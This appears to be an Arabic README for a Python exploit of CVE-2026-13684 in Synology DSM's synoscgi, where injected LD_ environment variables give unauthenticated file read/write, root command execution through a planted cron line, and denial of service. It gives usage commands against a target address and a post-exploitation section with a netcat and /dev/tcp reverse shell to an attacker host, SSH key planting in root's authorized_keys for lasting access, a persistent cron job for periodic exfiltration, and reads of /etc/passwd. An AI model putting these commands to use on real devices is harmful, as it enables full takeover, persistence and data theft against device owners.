
استغلال Python للثغرة CVE-2026-13684 في Synology DSM synoscgi: حقن متغيرات بيئة SCGI يتيح قراءة/كتابة ملفات عشوائية، وتنفيذ أوامر بصلاحيات الجذر، وهجمات حجب الخدمة (DoS).
استغلال عن بُعد دون مصادقة: قراءة ملفات عشوائية، وكتابة ملفات عشوائية، وحجب الخدمة (DoS)
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-13684 |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-116 — ترميز أو تهريب غير صحيح للمخرجات |
| المكوّن | synoscgi (خدمة SCGI التي تتقدّم عمال CGI ذوي الامتيازات في DSM) |
| المتأثر | DSM قبل 7.2.1-69057-12، 7.2.2-72806-9، 7.3.2-86009-4، 7.4-90075 |
| تم الإصلاح | 2026-09-18 — Synology-SA-26:13 |
| في البرّية | نُسب (360) كوصول أولي لموجة برامج الفدية C3RB3R / L0CK3D |
تقوم الدالة SYNO::WebEntryCGI::HeaderToEnv() في /usr/syno/sbin/synoscgi بتحويل كل
زوج من بيئة طلب SCGI (NAME\0VALUE\0) إلى متغيّر بيئة
لعامل CGI ذي الامتيازات عبر setenv(name, value, 1) دون أي تصفية
لاسم المتغيّر. لذا فإن أي جهة قادرة على إيصال زوج يحمل الاسم LD_ إلى
netstring الخاص بـ SCGI تتحكّم ببيئة عملية عامل ذي امتيازات ومربوط ديناميكيًا.
إصلاح المورّد هو فحص واحد: تُحجب أسماء الترويسات التي تبدأ بـ LD_
قبل setenv وتُسجَّل كـ Blocked environment variable from header.
LD_DEBUG=libs، LD_DEBUG_OUTPUT=<path>، LD_LIBRARY_PATH=<payload>
عبر نقاط النهاية الأمامية لـ SCGI في الهدف. تُجرَّب ثلاثة نواقل إيصال
بالترتيب:
--raw-port) — يحمل بايتات
عشوائية، بما في ذلك أسطر جديدة؛ قدرة كاملة؛LD_DEBUG، يُنشئ
الرابط الديناميكي glibc لعملية العامل الملف <LD_DEBUG_OUTPUT>.<pid>
(glibc نفسه يضيف الـ PID) ويكتب فيه تتبّع بحث المكتبات.
ولأن مدخلات LD_LIBRARY_PATH مفصولة بنقطتين، فقد يحمل مدخل واحد
أسطرًا جديدة ومسافات كما هي، فينتهي الملف المكتوب محتويًا على
أسطر مزروعة من المهاجم.* * * * * root sh -c '<command>' (مسافة لاحقة تعزل الأمر
عن لاحقة الرابط التي كانت ستُلصق به لولا ذلك). على الأهداف
التي ينفّذ مجدولها ذلك الأثر — cron(8) على إصدارات DSM
المتأثرة، وفق التحليلات العامة لعائلة CVE هذه — يُنفَّذ الأمر بصلاحيات الجذر
خلال ~60 ثانية. يستخدمه إجراء القراءة لنسخ الملف المطلوب إلى
الجذر المخدوم عبر الويب (/volume1/web/)، ثم يجلبه الاستغلال
عبر HTTP — دون الحاجة إلى اتصال صادر من NAS.--raw-port) netstrings SCGI مشوّهة/مفرطة الحجم ضد نقاط نهاية synoscgi.# Full run (recon + write/RCE + read) against a DSM instance
python3 exploit.py --target http://192.168.1.10:5000
# Read an arbitrary file (exfiltrated via web-served marker)
python3 exploit.py --target http://192.168.1.10 --action read --file /etc/synoinfo.conf
# Write an arbitrary file (artifact lands at '<path>.<pid>')
python3 exploit.py --target http://192.168.1.10 --action write --path /etc/cron.d/poc
# DoS waves
python3 exploit.py --target http://192.168.1.10 --action dos --concurrency 64
# Full-capability vector against a directly reachable SCGI socket / SCGI lab
python3 exploit.py --target http://192.168.1.10 --raw-port 9000 --verbose
# Local end-to-end verification of the primitive (no target needed)
python3 exploit.py --selftest
Python 3.8+، المكتبة القياسية فقط، بدون أي تبعيات.
تُنفَّذ مهمة الجذر المضمَّنة كل دقيقة حتى تُزال، لذا ضمِّن أمرًا
متكرر التنفيذ بأمان (idempotent) عبر --command:
1. صدفة عكسية (وصول تفاعلي فوري)
# attacker side: nc -l 4444
python3 exploit.py --target http://192.168.1.10 \
--command "nc 192.168.1.99 4444 -e /bin/sh"
خلال حوالي 60 ثانية (cron) يتصل بك reverse shell بصلاحيات root. إذا كان nc غير موجود على
DSM، استخدم busybox nc أو exec 5<>/dev/tcp/192.168.1.99/4444; cat <&5 >&5.
2. وصول SSH دائم (موصى به)
python3 exploit.py --target http://192.168.1.10 \
--command "mkdir -p /root/.ssh && printf '%s\n' '<PUBKEY>' >> /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && synoservice --start sshd"
ثم ببساطة ssh [email protected]. يبقى المفتاح على الجهاز — إعادة الدخول
دون إعادة الاستغلال. إذا كانت SSH معطّلة على DSM، فإن synoservice --start sshd (المضمّن أعلاه) يفعّلها.
3. مهمة cron دائمة — المهمة المضمّنة نفسها توجد في
/etc/cron.d/<marker>.<pid> وتُطلق كل دقيقة؛ فبدلاً من أمر لمرة واحدة
يمكنك تضمين إجراء طويل الأمد (مزامنة، مستمع، تسريب دوري).
4. الاستطلاع / التسريب — سبق تغطيته: --action read --file /etc/synoinfo.conf، /etc/passwd، /var/log/messages (تصل المحتويات على
stdout).